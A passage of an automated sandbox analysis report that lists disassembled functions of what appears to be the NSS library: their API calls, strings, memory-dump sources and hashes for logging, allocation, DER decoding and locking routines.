Part of subcall function 6CF809D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CF80AC8
Part of subcall function 6CF809D0: PR_vsmprintf.NSS3(?,?), ref: 6CF80AE8
Part of subcall function 6CF809D0: EnterCriticalSection.KERNEL32(?), ref: 6CF80B19
Part of subcall function 6CF809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF80B48
Part of subcall function 6CF809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF80C76
Part of subcall function 6CF809D0: PR_LogFlush.NSS3 ref: 6CF80C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CEA2D22

Part of subcall function 6CF809D0: OutputDebugStringA.KERNEL32(?), ref: 6CF80B88
Part of subcall function 6CF809D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CF80C5D
Part of subcall function 6CF809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CF80C8D
Part of subcall function 6CF809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF80C9C
Part of subcall function 6CF809D0: OutputDebugStringA.KERNEL32(?), ref: 6CF80CD1
Part of subcall function 6CF809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CF80CEC
Part of subcall function 6CF809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF80CFB
Part of subcall function 6CF809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF80D16
Part of subcall function 6CF809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CF80D26
Part of subcall function 6CF809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF80D35
Part of subcall function 6CF809D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CF80D65
Part of subcall function 6CF809D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CF80D70
Part of subcall function 6CF809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF80D90
Part of subcall function 6CF809D0: free.MOZGLUE(00000000), ref: 6CF80D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CEA2D3B

Part of subcall function 6CF809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CF80BAB
Part of subcall function 6CF809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF80BBA
Part of subcall function 6CF809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF80D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6CEA2D54

Part of subcall function 6CF809D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF80BCB
Part of subcall function 6CF809D0: EnterCriticalSection.KERNEL32(?), ref: 6CF80BDE
Part of subcall function 6CF809D0: OutputDebugStringA.KERNEL32(?), ref: 6CF80C16

Strings

C_InitToken, xrefs: 6CEA2CE7
slotID = 0x%x, xrefs: 6CEA2D02
pLabel = 0x%p, xrefs: 6CEA2D4F
ulPinLen = %d, xrefs: 6CEA2D36
pPin = 0x%p, xrefs: 6CEA2D1D

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: fdf8d3a0f9306ced212a8b403ff8d86aacdc268a3edd19d5f290f05ecde32b92
Instruction ID: ed7944fca393a05f0bc16cac22a0bf7172025a445c50f652847d3e6cf5b245ca
Opcode Fuzzy Hash: fdf8d3a0f9306ced212a8b403ff8d86aacdc268a3edd19d5f290f05ecde32b92
Instruction Fuzzy Hash: 7821F575A11144EFDB409FB5DC4CB497BB1EB4631DF548054E908ABB22CB72AC4ACBA1

Function 6CF80EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6CE62357), ref: 6CF80EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CE62357), ref: 6CF80EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CF80EE6

Part of subcall function 6CF809D0: PR_Now.NSS3 ref: 6CF80A22
Part of subcall function 6CF809D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CF80A35
Part of subcall function 6CF809D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CF80A66
Part of subcall function 6CF809D0: PR_GetCurrentThread.NSS3 ref: 6CF80A70
Part of subcall function 6CF809D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CF80A9D
Part of subcall function 6CF809D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CF80AC8
Part of subcall function 6CF809D0: PR_vsmprintf.NSS3(?,?), ref: 6CF80AE8
Part of subcall function 6CF809D0: EnterCriticalSection.KERNEL32(?), ref: 6CF80B19
Part of subcall function 6CF809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF80B48
Part of subcall function 6CF809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF80C76
Part of subcall function 6CF809D0: PR_LogFlush.NSS3 ref: 6CF80C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CF80EFA

Part of subcall function 6CE6AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CE6AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF80F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF80F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF80F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF80F2B

Strings

Aborting, xrefs: 6CF80EB3
Assertion failure: %s, at %s:%d, xrefs: 6CF80ED9, 6CF80EE5, 6CF80F06, 6CF80F0B

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 5431d19886ccabf4e1c4a1a06811706d07d9b8e2857825b23f9f35b27703d3ea
Instruction ID: d3e217806e06b868148e6041ceca0c34c4c40cb0db76e7d744d2300162f91701
Opcode Fuzzy Hash: 5431d19886ccabf4e1c4a1a06811706d07d9b8e2857825b23f9f35b27703d3ea
Instruction Fuzzy Hash: D3F0C2B9E001147BDE403BA1DC4AE9B3E3DEF82764F404024FD1957B02DB76EA5596B2

Function 6CEE4DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6CEE4DCB

Part of subcall function 6CED0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE787ED,00000800,6CE6EF74,00000000), ref: 6CED1000
Part of subcall function 6CED0FF0: PR_NewLock.NSS3(?,00000800,6CE6EF74,00000000), ref: 6CED1016
Part of subcall function 6CED0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE787ED,00000008,?,00000800,6CE6EF74,00000000), ref: 6CED102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6CEE4DE1

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6CEE4DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEE4E59

Part of subcall function 6CECFAB0: free.MOZGLUE(?,-00000001,?,?,6CE6F673,00000000,00000000), ref: 6CECFAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CFA300C,00000000), ref: 6CEE4EB8
SECOID_FindOID_Util.NSS3(?), ref: 6CEE4EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6CEE4F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CEE521A

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: d8ffc01e158dcd01871e619a38886f0d2141fcccc7890229942c054bf3be98b6
Instruction ID: 0bed234548fff2f505f0d20351ccb8b4d67f7db772611feac8817b58d25eaf7d
Opcode Fuzzy Hash: d8ffc01e158dcd01871e619a38886f0d2141fcccc7890229942c054bf3be98b6
Instruction Fuzzy Hash: 52F17C71E01209CBDB04CF94D8407AEB7B2BF49398F35416AE915AB781E775E982CB90

Function 6CE74FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6CFC0148,?,6CE86FEC), ref: 6CE7502A
PR_NewLock.NSS3(00000001,00000000,6CFC0148,?,6CE86FEC), ref: 6CE75034
PL_NewHashTable.NSS3(00000000,6CECFE80,6CECFD30,6CF1C350,00000000,00000000,00000001,00000000,6CFC0148,?,6CE86FEC), ref: 6CE75055
PL_NewHashTable.NSS3(00000000,6CECFE80,6CECFD30,6CF1C350,00000000,00000000,?,00000001,00000000,6CFC0148,?,6CE86FEC), ref: 6CE7506D

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 8c457c8c64c6f818e0137373bbbf203839c41f3ba605ab958ef08ed755cfe601
Instruction ID: 21b93d9b544d24f6ef6610d6b8d55d2157a39e286ca1889fc3e2a79651e136ee
Opcode Fuzzy Hash: 8c457c8c64c6f818e0137373bbbf203839c41f3ba605ab958ef08ed755cfe601
Instruction Fuzzy Hash: 8531F4B2F126209BEB609B758E0CB5737B8AB1330CF268124EA1583740D776AD05DBF1

Function 6CE12E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE12F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6CE12FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6CE13005
memcpy.VCRUNTIME140(?,?,?), ref: 6CE130EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE13131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE13178

Strings

database corruption, xrefs: 6CE1316C
%s at line %d of [%.10s], xrefs: 6CE13171
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE13022, 6CE13156, 6CE13162, 6CE1318A, 6CE13196, 6CE131A2, 6CE131AE, 6CE131BA, 6CE131C6

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: 727d4e7dac86c45ba0685f0997acbfbec041bbd92f44f5b9a998b0e5323bf0cb
Instruction ID: fcc1cc25db2bf2703447d159a67e96e2cfaf6a021003d0ee6b442b53bb801595
Opcode Fuzzy Hash: 727d4e7dac86c45ba0685f0997acbfbec041bbd92f44f5b9a998b0e5323bf0cb
Instruction Fuzzy Hash: 50B1C2B1E092199FCF08CF9DC885AEEB7B1BF49314F244029E815B7B41D375A952CBA0

Function 6CEE7F90 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CEE7FB2

Part of subcall function 6CE6BA40: TlsGetValue.KERNEL32 ref: 6CE6BA51
Part of subcall function 6CE6BA40: TlsGetValue.KERNEL32 ref: 6CE6BA6B
Part of subcall function 6CE6BA40: EnterCriticalSection.KERNEL32 ref: 6CE6BA83
Part of subcall function 6CE6BA40: TlsGetValue.KERNEL32 ref: 6CE6BAA1
Part of subcall function 6CE6BA40: _PR_MD_UNLOCK.NSS3 ref: 6CE6BAC0

PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CEE7FD4

Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF390AB
Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF390C9
Part of subcall function 6CF39090: EnterCriticalSection.KERNEL32 ref: 6CF390E5
Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF39116
Part of subcall function 6CF39090: LeaveCriticalSection.KERNEL32 ref: 6CF3913F

Part of subcall function 6CEE9430: PR_SetError.NSS3(FFFFD0AC,00000000), ref: 6CEE9466

PR_ExitMonitor.NSS3(?), ref: 6CEE801B
PR_EnterMonitor.NSS3(?), ref: 6CEE8034
TlsGetValue.KERNEL32 ref: 6CEE80A2
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEE80C0
PR_ExitMonitor.NSS3(?), ref: 6CEE811C
PR_ExitMonitor.NSS3(?), ref: 6CEE8134

Strings

), xrefs: 6CEE80DB

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSection$Error$CountEntryLeave
String ID: )
API String ID: 3537756449-2427484129
Opcode ID: e7e3b99d268618b73abd4010d10b91cdd52a5ea54a4a75e5272cdfa83b5a0171
Instruction ID: 495827e5dfd363027c274bd4650713a114a7ad40d5f7999ec078900e781df453
Opcode Fuzzy Hash: e7e3b99d268618b73abd4010d10b91cdd52a5ea54a4a75e5272cdfa83b5a0171
Instruction Fuzzy Hash: 94512672A047049BF7319F38DC017EB77B0AF5A38CF28452DD95956B42EB31A609C792

Function 6CE8FCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6CE8FCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6CE8FCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6CE8FCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE8FD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6CE8FD46
PORT_Alloc_Util.NSS3(00000001), ref: 6CE8FD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6CE8FD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE8FD84

Strings

:, xrefs: 6CE8FD78

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: 70295bf8f392c05430afa5572a9ee15286221cd1580a6a7528aa14956ef3e920
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: 2431C2B6E022159BEB008AA4DC057AF77B8EF4531CF350128DD18A7B40E779EA09C7D2

Function 6CEA6C40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6CEA6C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEA6C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEA6CA3

Part of subcall function 6CF8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEA6CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CEA6CD5

Strings

C_DigestInit, xrefs: 6CEA6C61
hSession = 0x%x, xrefs: 6CEA6C7E, 6CEA6C8E
(CK_INVALID_HANDLE), xrefs: 6CEA6C9C
pMechanism = 0x%p, xrefs: 6CEA6CD0

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit
API String ID: 1003633598-3690128261
Opcode ID: feed0301a256e0ce9b59f230bfefd68e68e597f4613ee43c34367a90b52c86da
Instruction ID: 457c892c494fed0515303c3099edab86f2dc0ac8a8b06f28ed0b6a8cb648826d
Opcode Fuzzy Hash: feed0301a256e0ce9b59f230bfefd68e68e597f4613ee43c34367a90b52c86da
Instruction Fuzzy Hash: C2210930A11154BFDB409FA89D4DF5A77B9EB4731CF554029E8099BB01DB31AD0AC7D1

Function 6CE70F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE70F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE70F84

Part of subcall function 6CECB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFA18D0,?), ref: 6CECB095

SEC_QuickDERDecodeItem_Util.NSS3(?,6CE8F59B,6CF9890C,?), ref: 6CE70FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6CE70FC1

Part of subcall function 6CED0BE0: malloc.MOZGLUE(6CEC8D2D,?,00000000,?), ref: 6CED0BF8
Part of subcall function 6CED0BE0: TlsGetValue.KERNEL32(6CEC8D2D,?,00000000,?), ref: 6CED0C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6CE70FDB
PR_CallOnce.NSS3(6CFD2AA4,6CED12D0), ref: 6CE70FEF
PL_FreeArenaPool.NSS3(?), ref: 6CE71001
PL_FinishArenaPool.NSS3(?), ref: 6CE71009

Strings

security, xrefs: 6CE70F5C

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: b1ec25eb3a85dad3357ee7e808b00cc6dcb10b5d729415233ddb7d64b0d2882b
Instruction ID: 472e80fa60337e59a3902fba61f5ded74225f79527b1edb3e1dc3cb17b0295da
Opcode Fuzzy Hash: b1ec25eb3a85dad3357ee7e808b00cc6dcb10b5d729415233ddb7d64b0d2882b
Instruction Fuzzy Hash: AC21F2B1904344ABE7109F24DC41AAEB7B8EF4465CF258519FC189A701F732E906CBE2

Function 6CE76DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6CE77D8F,6CE77D8F,?,?), ref: 6CE76DC8

Part of subcall function 6CECFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CECFE08
Part of subcall function 6CECFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CECFE1D
Part of subcall function 6CECFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CECFE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6CE77D8F,?,?), ref: 6CE76DD5

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CF98FA0,00000000,?,?,?,?,6CE77D8F,?,?), ref: 6CE76DF7

Part of subcall function 6CECB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFA18D0,?), ref: 6CECB095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CE76E35

Part of subcall function 6CECFDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CECFE29
Part of subcall function 6CECFDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CECFE3D
Part of subcall function 6CECFDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6CECFE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CE76E4C

Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED116E

